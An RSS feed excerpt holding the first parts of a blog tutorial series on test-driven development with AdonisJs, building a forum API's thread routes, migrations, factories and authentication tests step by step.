            <description><![CDATA[Part 1 of a series in which we engulf in the joy of TDD with AdonisJs.]]></description>
            <content:encoded><![CDATA[<p>AdonisJs is great for test driven development. Let's build an API for a simple version of reddit using TDD. It will consist of subforums, threads, comments and users. You can find the GitHub for it here: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/b2582b286e4da0166f30a8d6a8eee7c3aeb1c8bb">https://github.com/MZanggl/tdd-adonisjs/commit/b2582b286e4da0166f30a8d6a8eee7c3aeb1c8bb</a>.</p>
<p>Without further ado, let's get the project set up!</p>
<h1 id="install-cli-and-framework">Install CLI and framework</h1>
<pre class="hljs"><code>npm i -g @adonisjs/cli
</code></pre>
<p>In this course we want to focus only on the adonis part and not the frontend, so let's create the project using the &quot;api only&quot; flag.</p>
<pre class="hljs"><code>adonis new forum --api-only
<span class="hljs-built_in">cd</span> forum
</code></pre>
<h1 id="install-testing-library">Install testing library</h1>
<p>Adonis comes with its own testing library, let's install it with</p>
<pre class="hljs"><code>adonis install @adonisjs/vow
</code></pre>
<p>We have to add the vowProvider under &quot;start/app.js&quot; in the aceProviders array to register the adonis test commands.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> aceProviders = [
    <span class="hljs-string">'@adonisjs/vow/providers/VowProvider'</span>,
]
</code></pre>
<hr>
<p>The installation of vow comes with an example test, run <code>adonis test</code>, <code>npm test</code> or simply <code>npm t</code> to run it.</p>
<p>To make sure things are working, run the project using <code>adonis serve --dev</code> and head to the url in your browser!</p>
<x-ad />
<hr>
<p>And that's all there is to it, in the next blog post we will create our first test!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 2. Our first test]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-2/</link>
            <guid>tdd-with-adonisjs-2</guid>
            <description><![CDATA[We write our first integration test and set up the database layer.]]></description>
            <content:encoded><![CDATA[<p>You can find all the changes from this blog post here: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/87bcda4823c556c7717a31ad977457050684bbcf">https://github.com/MZanggl/tdd-adonisjs/commit/87bcda4823c556c7717a31ad977457050684bbcf</a></p>
<p>Let's start by creating our first real test. We focus on the central piece our app provides, threads. If you think about it, in order to create threads, we need a user to create threads, for that we need to implement registration and authentication. You might think that by that logic, registration and authentication should be the first thing we implement. However, user registration and authentication are not the central pieces of our application, so we don't have to care about these parts for now. Instead, let's start with a feature. (Protip: do the same when designing UI, no need to create the navbar and footer at first)</p>
<p>The first test is the hardest, since it requires some additional setup on the way, like setting up the database connection.</p>
<p>Let's create a test to create threads, we can easily do that from the command line:</p>
<pre class="hljs"><code>adonis make:<span class="hljs-built_in">test</span> Thread
</code></pre>
<p>and select <code>functional</code>.</p>
<p>You can replace the content of the newly created file with the following</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'Thread'</span>)

trait(<span class="hljs-string">'Test/ApiClient'</span>)

test(<span class="hljs-string">'can create threads'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {

})

</code></pre>
<p>We are loading the &quot;apiClient&quot; trait, which will provide us with the <code>client</code> variable we use for api requests to test our endpoints.</p>
<p>Okay, let's put some logic into the test. We keep it simple for now, posting to the threads endpoint with a title and body should return a response code of 200. Fair enough.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can create threads'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).send({
    <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span>,
    <span class="hljs-attr">body</span>: <span class="hljs-string">'body'</span>,
  }).end()

  response.assertStatus(<span class="hljs-number">200</span>)
})
</code></pre>
<p>Let's run the test suite to see what's happening.</p>
<p>The error we get is</p>
<pre class="hljs"><code>1. can create threads
  expected 404 to equal 200
  404 =&gt; 200
</code></pre>
<p>Of course! After all, we haven't created any route or controller yet. Still, we run the test <strong>to let it guide us</strong> what the next step is. What is so great about this approach is that it stops us from overengineering things. We do the bare minimum to get the test to pass. And once the tests are green, we refactor.</p>
<p>So let's head over to <code>start/routes.js</code> and add the following route</p>
<pre class="hljs"><code>Route.post(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController.store'</span>)
</code></pre>
<p>You might be inclined to add a route group or use resource routes at this point, but again, keep it simple, as simple as possible. We can refactor to something that scales better once the tests for this are green.</p>
<p>Running the test again will now return a different error!</p>
<pre class="hljs"><code>  <span class="hljs-number">1.</span> can create threads
  expected <span class="hljs-number">500</span> to equal <span class="hljs-number">200</span>
  <span class="hljs-number">500</span> =&gt; <span class="hljs-number">200</span>
</code></pre>
<p>We can log the response error in our test to see what's going wrong. For something more robust you could <a href="https://adonisjs.com/docs/4.1/exceptions">extend the exception handler</a>.</p>
<pre class="hljs"><code><span class="hljs-comment">// ...</span>

<span class="hljs-built_in">console</span>.log(response.error)
response.assertStatus(<span class="hljs-number">200</span>)
</code></pre>
<p>Now we know for sure the error is</p>
<pre class="hljs"><code><span class="hljs-string">'Error: Cannot find module '</span>app/Controllers/Http/ThreadController<span class="hljs-string">'
</span></code></pre>
<p>So that's our next step!</p>
<x-ad />
<p>Create the controller using <code>adonis make:controller ThreadController</code> and choose <code>for HTTP requests</code>.</p>
<p>Run the test and the error changes to <code>RuntimeException: E_UNDEFINED_METHOD: Method store missing on ...</code>.</p>
<p>So let's create the &quot;store&quot; method on the controller and just make it return an empty object for now.</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ThreadController</span> </span>{
    <span class="hljs-keyword">async</span> store({ response }) {
        <span class="hljs-keyword">return</span> response.json({ })
    }
}

<span class="hljs-built_in">module</span>.exports = ThreadController
</code></pre>
<p>Running the test suite again will now make the test pass!</p>
<p>But obviously we are not quite done yet. So let's extend our test to confirm that we actually save threads into the database.</p>
<p>First, let's import the <code>Thread</code> model at the top of our test file.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Thread = use(<span class="hljs-string">'App/Models/Thread'</span>)
</code></pre>
<p>Yes yes, this file does not yet exist, but we will just assume it does and let the test lead the way for the next step.</p>
<p>And in the test we will fetch the first thread from the database and assert that it matches the JSON response.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can create threads'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).send({
    <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span>,
    <span class="hljs-attr">body</span>: <span class="hljs-string">'body'</span>,
  }).end()
  <span class="hljs-built_in">console</span>.log(response.error)
  response.assertStatus(<span class="hljs-number">200</span>)
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.firstOrFail()
  response.assertJSON({ <span class="hljs-attr">thread</span>: thread.toJSON() })
})
</code></pre>
<p>Running the test returns the error <code>Error: Cannot find module 'app/Models/Thread'</code>. So let's create it!</p>
<pre class="hljs"><code>adonis make:model Thread -m
</code></pre>
<p><code>-m</code> will conveniently create a migration file as well. Adonis makes use of migrations to create and modify the database schema. There is no need to manually create the table in your database. This provides several benefits like version control, or making use of these migration files in our tests!</p>
<p>Running the test again reveals the next step, which is related to the database.</p>
<pre class="hljs"><code>Knex: run
$ npm install sqlite3 --save
Error: Cannot find module <span class="hljs-string">'sqlite3'</span>
</code></pre>
<p>If you haven't taken a look into <code>.env.testing</code>, this is the environment used for testing. By default it uses sqlite. Even though you plan on using a different database for actual development (like mysql), using sqlite is a good choice for testing as it keeps your tests fast.</p>
<p>This step might come to a surprise for some. No, we are not mocking out the database layer, instead we have a test database that we can migrate and reset on the fly. And with sqlite, it's all extremely light weight. The less we have to mock the more our tests are actually testing. And Adonis makes it an absolute breeze.</p>
<p>So let's install sqlite like the error message suggested.</p>
<pre class="hljs"><code>npm install sqlite3 --save
</code></pre>
<p>Running the test again shows us <code>Error: SQLITE_ERROR: no such table: threads</code>. Yes, we haven't created the table yet, but we do have a migration file for threads. What we have to do is tell vow to run all our migrations at the start of the tests, and roll everything back at the end.</p>
<p>We do this in <code>vowfile.js</code>. Everything is already there in fact, we just have to uncomment some lines.</p>
<pre class="hljs"><code>14 -&gt; const ace = require(<span class="hljs-string">'@adonisjs/ace'</span>)
37 -&gt; await ace.call(<span class="hljs-string">'migration:run'</span>, {}, { silent: <span class="hljs-literal">true</span> })
60 -&gt; await ace.call(<span class="hljs-string">'migration:reset'</span>, {}, { silent: <span class="hljs-literal">true</span> })
</code></pre>
<p>Running the test again reveals the next error <code>ModelNotFoundException: E_MISSING_DATABASE_ROW: Cannot find database row for Thread model</code>.</p>
<p>Makes sense, because right now, the controller is not inserting the thread into the database.</p>
<p>So let's head over to the controller and that part.</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> Thread = use(<span class="hljs-string">'App/Models/Thread'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">ThreadController</span> </span>{
    <span class="hljs-keyword">async</span> store({ request, response }) {
        <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.create(request.only([<span class="hljs-string">'title'</span>, <span class="hljs-string">'body'</span>]))
        <span class="hljs-keyword">return</span> response.json({ thread })
    }
}

<span class="hljs-built_in">module</span>.exports = ThreadController
</code></pre>
<p>Running the test will now return another error related to the insertion.</p>
<pre class="hljs"><code><span class="hljs-string">'Error: insert into `threads` (`body`, `created_at`, `title`, `updated_at`) values (\'</span>body\<span class="hljs-string">', \'</span>2019-09-01 12:51:02\<span class="hljs-string">', \'</span><span class="hljs-built_in">test</span> title\<span class="hljs-string">', \'</span>2019-09-01 12:51:02\<span class="hljs-string">') - SQLITE_ERROR: table threads has no column named body'</span>,
</code></pre>
<p>The table currently does not contain any column called body.</p>
<p>The solution is to add the new column to the <code>up</code> method in the migrations file that ends with <code>_thread_schema.js</code>.</p>
<pre class="hljs"><code>    <span class="hljs-keyword">this</span>.create(<span class="hljs-string">'threads'</span>, (table) =&gt; {
      table.increments()
      table.text(<span class="hljs-string">'body'</span>)
      table.timestamps()
    })
</code></pre>
<p>Running the test will return a very similar error regarding the column <code>title</code>. So let's also add it to the migrations file.</p>
<pre class="hljs"><code>    <span class="hljs-keyword">this</span>.create(<span class="hljs-string">'threads'</span>, (table) =&gt; {
      table.increments()
      table.string(<span class="hljs-string">'title'</span>)
      table.text(<span class="hljs-string">'body'</span>)
      table.timestamps()
    })
</code></pre>
<p>And before you know it, the tests are green!</p>
<p>Now if you try to hit the actual endpoint during development it will complain that the table &quot;threads&quot; does not exist, that's because you have to run the migrations for your dev/prod environment yourself using <code>adonis migration:run</code>.</p>
<h1 id="refactoring">Refactoring</h1>
<p>TDD consists of three stages, red - green - refactor. So let's refactor both the app as well as the tests and make sure that everything is still green. This is the beauty of TDD, it gives you confidence in your refactorings, thus making it safe, easy and fun.</p>
<p>Let's first get rid of the console.log in our test. We no longer need it.
Next, I am pretty confident I want to <a href="https://adonisjs.com/docs/4.1/routing#_route_resources">keep the controller resourceful</a>, means it only has the default CRUD actions. So let's head over to <code>routes.js</code> and change out</p>
<pre class="hljs"><code>Route.post(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController.store'</span>)
</code></pre>
<p>with</p>
<pre class="hljs"><code>Route.resource(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController'</span>).only([<span class="hljs-string">'store'</span>])
</code></pre>
<p>Not really necessary at this point, but what I want to show is that you can now run the tests again and have a confirmation that your refactorings didn't cause any side-effects. That's confidence!</p>
<hr>
<h1 id="summary">Summary</h1>
<p>We have our first test running! Next time we take a look at how we can resolve an issue with tests accidentally using the inserted data from other tests and model factories!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 3. Model factories & DB transactions]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-3/</link>
            <guid>tdd-with-adonisjs-3</guid>
            <description><![CDATA[We take a look at simplifying our tests with model factories as well as one common gotcha.]]></description>
            <content:encoded><![CDATA[<p>Welcome back! Let's get right into our second test, Deleting threads!</p>
<p>You can find all the changes we make throughout this post here: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/95a52a79de271c126a3a1e0a8e087fb87d040555">https://github.com/MZanggl/tdd-adonisjs/commit/95a52a79de271c126a3a1e0a8e087fb87d040555</a></p>
<p>Now in order to delete a thread, we first have to create a thread.
For now let's just do this manually in the test, but in the end, we are going to refactor this again!</p>
<p>Add a new test inside <code>thread.spec.js</code></p>
<pre class="hljs"><code>test(<span class="hljs-string">'can delete threads'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.create({
    <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span>,
    <span class="hljs-attr">body</span>: <span class="hljs-string">'test body'</span>,
  })

  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.delete(<span class="hljs-string">`threads/<span class="hljs-subst">${thread.id}</span>`</span>).send().end()
  <span class="hljs-built_in">console</span>.log(response.error)
  response.assertStatus(<span class="hljs-number">204</span>)
})
</code></pre>
<p>Run it! We receive a 404, since we have not created the route yet, so let's add it to our resourceful route in <code>routes.js</code>. By convention the action to delete an entity is <code>destroy</code>.</p>
<pre class="hljs"><code><span class="hljs-comment">// start/routes.js</span>

Route.resource(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController'</span>).only([<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>])
</code></pre>
<p>We now get the error <code>RuntimeException: E_UNDEFINED_METHOD: Method destroy missing</code>, so let's create the method in our ThreadController.</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> destroy({ params }) {
    <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.findOrFail(params.id)
    <span class="hljs-keyword">await</span> thread.delete()
}
</code></pre>
<p>The test passes! But now let's make sure it was actually deleted from the database. Head over to the test and add the following check at the end of our test.</p>
<pre class="hljs"><code>assert.equal(<span class="hljs-keyword">await</span> Thread.getCount(), <span class="hljs-number">0</span>)
</code></pre>
<p>Whoops!</p>
<pre class="hljs"><code>1. can delete threads
  expected 1 to equal 0
  1 =&gt; 0
</code></pre>
<p>How did that happen, we are deleting it right?</p>
<p>Let's try running only the &quot;can delete threads&quot; test and see what happens</p>
<pre class="hljs"><code>npm t -- -g <span class="hljs-string">'can delete threads'</span>
</code></pre>
<p>or alternatively</p>
<pre class="hljs"><code>adonis <span class="hljs-built_in">test</span> -g <span class="hljs-string">'can delete threads'</span>
</code></pre>
<p>It passes, right?</p>
<p>It makes sense, since we never deleted the inserted thread from the first test. To fix this we simply have to load another trait at the top of the test.</p>
<pre class="hljs"><code>trait(<span class="hljs-string">'DatabaseTransactions'</span>)
</code></pre>
<p>This will wrap all queries in a transaction that gets rolled back after each test, so when our second test runs, the thread from the first test is long rolled back. Give the test suite a run!</p>
<x-ad />
<h1 id="refactoring">Refactoring</h1>
<p>Okay, there is quite a lot to refactor in our test.</p>
<p>Let's first look at these lines</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.create({
    <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span>,
    <span class="hljs-attr">body</span>: <span class="hljs-string">'test body'</span>,
  })
</code></pre>
<p>The more tests we need, the more tedious this becomes. Luckily Adonis allows to create model factories. For this, head over to <code>database/factory.js</code> and add the following code.</p>
<pre class="hljs"><code>Factory.blueprint(<span class="hljs-string">'App/Models/Thread'</span>, (faker) =&gt; {
  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">title</span>: faker.word(),
    <span class="hljs-attr">body</span>: faker.paragraph(),
  }
})
</code></pre>
<p>Also uncomment <code>const Factory = use('Factory')</code> at the top of the file.</p>
<p><code>faker</code> is an instance of <a href="https://chancejs.com">https://chancejs.com</a>, check out their documentation for all the things you can fake.</p>
<p>Now back in our test we can replace the manual thread creation with simply</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
</code></pre>
<p>Also, add <code>const Factory = use('Factory')</code> to the top of the test.</p>
<p>Run the tests and you should still get green!</p>
<hr>
<p>There is also a nicer way of doing</p>
<pre class="hljs"><code>const response = await client.delete(`threads/<span class="hljs-variable">${thread.id}</span>`).send().end()
</code></pre>
<p>In particular <code>threads/${thread.id}</code>.
It would be more elegant if we were able to do <code>const response = await client.delete(thread.url()).send().end()</code>, in fact let's just do that and run the test. It will complain that <code>thread.url</code> is not a function.</p>
<p>For this to work, we have to add the method <code>url</code> to our threads model. But currently, we are inside an integration test. So how can we do this the TDD way?</p>
<p>The solution is to break down from the feature test into a unit test for our Thread model.</p>
<p>Let's create a test using <code>adonis make:test Thread</code> and this time choose unit.</p>
<p>This is what the unit test will look like</p>
<pre class="hljs"><code><span class="hljs-meta">'use strict'</span>

<span class="hljs-keyword">const</span> { test, trait } = use(<span class="hljs-string">'Test/Suite'</span>)(<span class="hljs-string">'Thread'</span>)
<span class="hljs-keyword">const</span> Factory = use(<span class="hljs-string">'Factory'</span>)

trait(<span class="hljs-string">'DatabaseTransactions'</span>)

test(<span class="hljs-string">'can access url'</span>, <span class="hljs-keyword">async</span> ({ assert }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  assert.equal(thread.url(), <span class="hljs-string">`threads/<span class="hljs-subst">${thread.id}</span>`</span>)
})
</code></pre>
<p>Nicely throwing the same error <code>TypeError: thread.url is not a function</code>.
Remember how I said TDD follows the concept red -&gt; green -&gt; refactor. What I did not mention before, but what we just learned, is that these three steps are happening in a loop!</p>
<p>Head over to <code>app/Models/Thread.js</code> and add the following method to the Thread class</p>
<pre class="hljs"><code>url() {
    <span class="hljs-keyword">return</span> <span class="hljs-string">`threads/<span class="hljs-subst">${<span class="hljs-keyword">this</span>.id}</span>`</span>
}
</code></pre>
<p>Run the test again, this time both the unit and the functional test should be green!</p>
<p>Now we can already create and delete threads, but so far, even guests can perform these actions. Next time let's see how we can restrict these actions to only authenticated users and add a user_id field to our threads table.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 4. Using the auth middleware]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-4/</link>
            <guid>tdd-with-adonisjs-4</guid>
            <description><![CDATA[Most applications require auth in some sort, it's a breeze with AdonisJs and I show it to you.]]></description>
            <content:encoded><![CDATA[<p>Our routes can currently be accessed by users who are not authenticated, so let's write a new test to confirm this!</p>
<p>As always you can find all the changes we made here in the following commit on GitHub: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/6f50e5f277674dfe460b692cedc28d5a67d1cc55">https://github.com/MZanggl/tdd-adonisjs/commit/6f50e5f277674dfe460b692cedc28d5a67d1cc55</a></p>
<pre class="hljs"><code><span class="hljs-comment">// test/functional/thread.spec.js</span>

test(<span class="hljs-string">'unauthenticated user cannot create threads'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).send({
    <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span>,
    <span class="hljs-attr">body</span>: <span class="hljs-string">'body'</span>,
  }).end()

  response.assertStatus(<span class="hljs-number">401</span>)
})
</code></pre>
<p>The test fails since the response code is still 200. So let's add the integrated auth middleware to our routes.</p>
<pre class="hljs"><code><span class="hljs-comment">// start/routes.js</span>

Route.resource(<span class="hljs-string">'threads'</span>, <span class="hljs-string">'ThreadController'</span>).only([<span class="hljs-string">'store'</span>, <span class="hljs-string">'destroy'</span>]).middleware(<span class="hljs-string">'auth'</span>)
</code></pre>
<p>This makes the test pass, but at the same time, we broke our other tests since they now return a status code 401 as well (unauthenticated).
In order to make them pass again, we need to be able to authenticate with a user in the tests.</p>
<p>First, let's create a model factory for users, the same way we did with threads.</p>
<p>Head back into <code>database/factory.js</code> and add the following blueprint for users.</p>
<pre class="hljs"><code>Factory.blueprint(<span class="hljs-string">'App/Models/User'</span>, (faker) =&gt; {
  <span class="hljs-keyword">return</span> {
    <span class="hljs-attr">username</span>: faker.username(),
    <span class="hljs-attr">email</span>: faker.email(),
    <span class="hljs-attr">password</span>: <span class="hljs-string">'123456'</span>,
  }
})
</code></pre>
<p>Let's try this out in our functional thread.spec.js test! We can &quot;login&quot; using the <code>loginVia</code> method.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can create threads'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).loginVia(user).send({
    <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span>,
    <span class="hljs-attr">body</span>: <span class="hljs-string">'body'</span>,
  }).end()

  response.assertStatus(<span class="hljs-number">200</span>)

  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.firstOrFail()
  response.assertJSON({ <span class="hljs-attr">thread</span>: thread.toJSON() })
})
</code></pre>
<p>However, this fails with the error <code>...loginVia is not a function</code>. Like previously, a trait can help us resolve this issue, so let's add <code>trait('Auth/Client')</code> to the top of the file and run the test again.</p>
<p>Sweet! Let's apply the same fix for our existing failing delete test.</p>
<pre class="hljs"><code>test(<span class="hljs-string">'can delete threads'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.delete(thread.url()).send().loginVia(user).end()
  response.assertStatus(<span class="hljs-number">204</span>)

  assert.equal(<span class="hljs-keyword">await</span> Thread.getCount(), <span class="hljs-number">0</span>)
})
</code></pre>
<p>Sure it's not optimal that any user can delete any thread, but we are getting there...</p>
<p>I think it's about time we rename the tests cases to something more meaningful.</p>
<blockquote>
<p>test('can create threads') =&gt; test('authorized user can create threads')</p>
</blockquote>
<blockquote>
<p>test('can delete threads') =&gt; test('authorized user can delete threads')</p>
</blockquote>
<x-ad />
<hr>
<p>With that being done it makes sense to add the user_id column to the threads table.</p>
<p>For this we first have to refactor our test case 'authorized user can create threads'. We are currently not actually testing if the title and body are being inserted correctly, we just assert that the response matches the first thread found in the database. So let's add that part as well</p>
<pre class="hljs"><code>test(<span class="hljs-string">'authorized user can create threads'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> user = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">const</span> attributes = {
    <span class="hljs-attr">title</span>: <span class="hljs-string">'test title'</span>,
    <span class="hljs-attr">body</span>: <span class="hljs-string">'body'</span>,
  }

  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.post(<span class="hljs-string">'/threads'</span>).loginVia(user).send(attributes).end()
  response.assertStatus(<span class="hljs-number">200</span>)

  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.firstOrFail()
  response.assertJSON({ <span class="hljs-attr">thread</span>: thread.toJSON() })
  response.assertJSONSubset({ <span class="hljs-attr">thread</span>: attributes })
})
</code></pre>
<p>The test should still pass, but let's go ahead and add the user_id to the assertion we added</p>
<pre class="hljs"><code>response.assertJSONSubset({ <span class="hljs-attr">thread</span>: {...attributes, <span class="hljs-attr">user_id</span>: user.id} })
</code></pre>
<p>We now receive the error</p>
<pre class="hljs"><code>expected { Object (thread) } to contain subset { Object (thread) }
  {
    thread: {
    - created_at: <span class="hljs-string">"2019-09-08 08:57:59"</span>
    - id: 1
    - updated_at: <span class="hljs-string">"2019-09-08 08:57:59"</span>
    + user_id: 1
    }
</code></pre>
<p>So let's head over to the ThreadController and swap out the &quot;store&quot; method with this</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> store({ request, auth, response }) {
    <span class="hljs-keyword">const</span> attributes = { ...request.only([<span class="hljs-string">'title'</span>, <span class="hljs-string">'body'</span>]), <span class="hljs-attr">user_id</span>: auth.user.id }
    <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.create(attributes)
    <span class="hljs-keyword">return</span> response.json({ thread })
    }
</code></pre>
<p>Don't worry, we will refactor this after the tests are green.</p>
<p>The tests will now fail at the assertion <code>response.assertStatus(200)</code> with a 500 error code, so let's add <code>console.log(response.error)</code> in the previous line. It will reveal that our table is missing the column <code>user_id</code>.</p>
<p>Head over to the threads migration file and after body, add the user_id column like this</p>
<pre class="hljs"><code>table.integer(<span class="hljs-string">'user_id'</span>).unsigned().notNullable()
</code></pre>
<p>Let's also register the new column with a foreign key. I like to keep foreign keys after all the column declarations.</p>
<pre class="hljs"><code><span class="hljs-comment">// ... column declarations</span>

table.foreign(<span class="hljs-string">'user_id'</span>).references(<span class="hljs-string">'id'</span>).inTable(<span class="hljs-string">'users'</span>)
</code></pre>
<p>Great, this test is passing again!</p>
<p>But it turns out we broke two other tests!</p>
<p>Our unit tests &quot;can access url&quot; and the functional test &quot;authorized user can delete threads&quot; are now failing because of <code>SQLITE_CONSTRAINT: NOT NULL constraint failed: threads.user_id</code>.</p>
<p>Both tests are making use of our model factory for threads, and of course we haven't yet updated it with the user id. So let's head over to <code>database/factory.js</code> and add the user_id to the thread factory like this:</p>
<pre class="hljs"><code><span class="hljs-keyword">return</span> {
    <span class="hljs-attr">title</span>: faker.word(),
    <span class="hljs-attr">body</span>: faker.paragraph(),
    <span class="hljs-attr">user_id</span>: (<span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()).id
  }
</code></pre>
<p>Be sure to turn the function into an <code>async</code> function since we have to use await here.</p>
<p>If we run our test suite again we should get green!</p>
<h1 id="refactoring">Refactoring</h1>
<p>Let's head over to the ThreadController and think of a more object oriented approach for this part:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> attributes = { ...request.only([<span class="hljs-string">'title'</span>, <span class="hljs-string">'body'</span>]), <span class="hljs-attr">user_id</span>: auth.user.id }
<span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Thread.create(attributes)
</code></pre>
<p>Would be nice if we wouldn't have to define the relationship by ourselves.
We can swap out these two lines with this</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> auth.user.threads().create(request.only([<span class="hljs-string">'title'</span>, <span class="hljs-string">'body'</span>]))
</code></pre>
<p>Since we haven't defined the relationship yet, we will get the error <code>TypeError: auth.user.threads is not a function</code>.</p>
<p>So all we have to do is go to &quot;App/Models/User.js&quot; and add the relationship</p>
<pre class="hljs"><code>threads() {
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">this</span>.hasMany(<span class="hljs-string">'App/Models/Thread'</span>)
}
</code></pre>
<p>And that's it, a solid refactor!</p>
<p>Let's add another test real quick to make sure that unauthenticated users can not delete threads</p>
<pre class="hljs"><code>test(<span class="hljs-string">'unauthenticated user can not delete threads'</span>, <span class="hljs-keyword">async</span> ({ assert, client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.delete(thread.url()).send().end()
  response.assertStatus(<span class="hljs-number">401</span>)
})
</code></pre>
<p>Of course we have to add more tests here, not every user should be able to simply delete any thread. Next time, let's test and create a policy that takes care of this for us!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TDD course with AdonisJs - 5. Middlewares]]></title>
            <link>https://michaelzanggl.com/articles/tdd-with-adonisjs-5/</link>
            <guid>tdd-with-adonisjs-5</guid>
            <description><![CDATA[We learn an important lesson about the difference between integration and unit tests.]]></description>
            <content:encoded><![CDATA[<p>In the last episode we added authorization to our cruddy ThreadController. However, just because a user is authenticated doesn't mean he is authorized to delete any thread. This should be restricted to moderators and the user who created the thread.</p>
<p>As always, you can find all the changes in this commit: <a href="https://github.com/MZanggl/tdd-adonisjs/commit/d845ed83700210ac1b520a25c702373df0782b69">https://github.com/MZanggl/tdd-adonisjs/commit/d845ed83700210ac1b520a25c702373df0782b69</a></p>
<p>Before we jump into testing a middleware, let's remember to keep it as simple as possible. Let's just add the authorization logic in the controller. So for that, let's extend our functional <code>thread.spec.js</code> file with the following test:</p>
<pre class="hljs"><code>test(<span class="hljs-string">'thread can not be deleted by a user who did not create it'</span>, <span class="hljs-keyword">async</span> ({ client }) =&gt; {
  <span class="hljs-keyword">const</span> thread = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/Thread'</span>).create()
  <span class="hljs-keyword">const</span> notOwner = <span class="hljs-keyword">await</span> Factory.model(<span class="hljs-string">'App/Models/User'</span>).create()
  <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> client.delete(thread.url()).send().loginVia(notOwner).end()
  response.assertStatus(<span class="hljs-number">403</span>)
})
</code></pre>
